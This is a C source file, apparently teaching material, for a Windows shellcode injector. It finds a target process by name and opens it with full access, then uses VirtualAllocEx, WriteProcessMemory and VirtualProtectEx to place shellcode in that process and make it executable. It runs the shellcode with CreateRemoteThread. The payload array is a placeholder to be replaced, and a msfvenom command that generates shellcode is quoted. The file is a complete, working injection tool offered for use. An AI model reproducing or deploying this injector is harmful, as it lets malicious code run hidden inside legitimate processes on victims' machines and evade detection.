1
#include <Windows.h>
2
#include <stdio.h>
3
#include <TlHelp32.h>
4

5
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
6
unsigned char pShellcode[] = {
7
  0xFC, 0x48, 0x83, 0xE4, 0xF0 // REPLACE YOUR SHELLCODE HERE
8

9
};
10

11
DWORD FindProcessId(const wchar_t* processname)
12
{
13
    HANDLE hProcessSnap;
14
    PROCESSENTRY32W pe32;
15
    DWORD result = 0;
16

17
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
18
    if (INVALID_HANDLE_VALUE == hProcessSnap) return 0;
19

20
    pe32.dwSize = sizeof(PROCESSENTRY32W);
21

22
    if (!Process32FirstW(hProcessSnap, &pe32))
23
    {
24
        CloseHandle(hProcessSnap);
25
        wprintf(L"!!! Failed to gather information on system processes!\n");
26
        return 0;
27
    }
28

29
    do
30
    {
31
        if (wcscmp(processname, pe32.szExeFile) == 0)
32
        {
33
            result = pe32.th32ProcessID;
34
            //wprintf(L"Process ID: %lu\n", result);
35
            break;
36
        }
37
    } while (Process32NextW(hProcessSnap, &pe32));
38

39
    CloseHandle(hProcessSnap);
40
    return result;
41
}
42

43
// we create a function called InjectRemoteProcess
44
BOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) {
45
    // open process to specify Pid
46
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
47
    if (hProcess == NULL) {
48
        printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
49
        return FALSE;
50
    }
51
    printf("[i] OpenProcess to PID: %i \n", Pid);
52

53
    // allocating memory into a specific process id that you supply
54
    PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
55

56
    if (pShellcodeAddress == NULL) {
57
        printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
58
        return FALSE;
59
    }
60
    printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
61

62
    // write our shellcode into allocated memory
63
    if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
64
        printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
65
        return FALSE;
66
    }
67
    printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);
68

69
    // change to PAGE_EXECUTE_READWRITE
70
    DWORD dwOldProtection = NULL;
71
    if (!VirtualProtectEx(hProcess, pShellcodeAddress, pShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
72
        printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
73
        return FALSE;
74
    }
75

76
    // create new thread into remote process
77
    printf("[i] Create remote thread to execute payload\n");
78
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pShellcodeAddress, NULL, 0, NULL);
79
    if (hRemoteThread == NULL) {
80
        printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
81
        return FALSE;
82
    }
83
    printf("[i] Done\n");
84

85
    CloseHandle(hProcess);
86
    CloseHandle(hRemoteThread);
87
    return TRUE;
88
}
89

90
int wmain(int argc, wchar_t* argv[])
91
{
92
    if (argc != 2) {
93
        wprintf(L"Usage: %s <process_name.exe>\n", argv[0]);
94
        return 1;
95
    }
96

97
    const wchar_t* pName = argv[1];
98

99
    DWORD dwProcessID = FindProcessId(pName);
100
    if (dwProcessID == 0) {
101
        wprintf(L"[!] Process %ls not found.\n", pName);
102
        return 1;
103
    }
104

105
    wprintf(L"\n[!] Process ID of %ls: %lu\n", pName, dwProcessID);
106

107
    SIZE_T pShellcodeSize = sizeof(pShellcode);
108
    // calling the function
109
    if (!(InjectRemoteProcess(dwProcessID, pShellcode, pShellcodeSize))) {
110
        return -1;
111
    }
112
    return 0;
113
}